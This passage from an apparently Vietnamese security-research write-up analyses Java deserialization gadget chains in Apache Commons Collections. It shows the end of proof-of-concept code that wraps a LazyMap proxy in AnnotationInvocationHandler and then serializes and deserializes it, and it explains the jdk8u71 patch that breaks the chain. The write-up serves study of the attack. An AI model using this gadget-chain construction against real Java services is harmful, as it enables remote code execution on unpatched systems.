lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance( map.getClass().getClassLoader(), map.getClass().getInterfaces(), proxyHandler ); // sử dụng lại AnnotationInvocationHandler, gán proxyHandler vào field `memberValues` InvocationHandler aihObj = (InvocationHandler) aInvocationHandlerConstructor.newInstance(Override.class, proxyMap); String serialized = serTest(aihObj); deserTest(serialized); } ``` ![](https://hackmd.io/_uploads/r1wDnR8ka.png) Từ `jdk8u71`, method `AnnotationInvocationHandler#readObject()` đã bị sửa, làm đứt chain, diff `jdk8u202` vs `jdk8u66`: ![](https://hackmd.io/_uploads/HJ8sUxPJp.png) ## Thoughs Bộ CommonsCollections gadget chain với CC2, CC3, CC4 có cùng một sink là `TemplatesImpl` mà mình đã phân tích cùng với CommonsBeanutils1, các bộ còn lại CC1, CC5, CC6, CC7 cũng chung 1 sink khác là: `InvokerTransformer` + `ChainedTransformer` = reflection, cái mình sẽ dành thời gian để viết tiếp part 2. ## refs - https://www.cnblogs.com/gk0d/p/16880749.html - https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html - https://github.com/frohoff/ysoserial/tree/master/src/main/java/ysoserial/payloads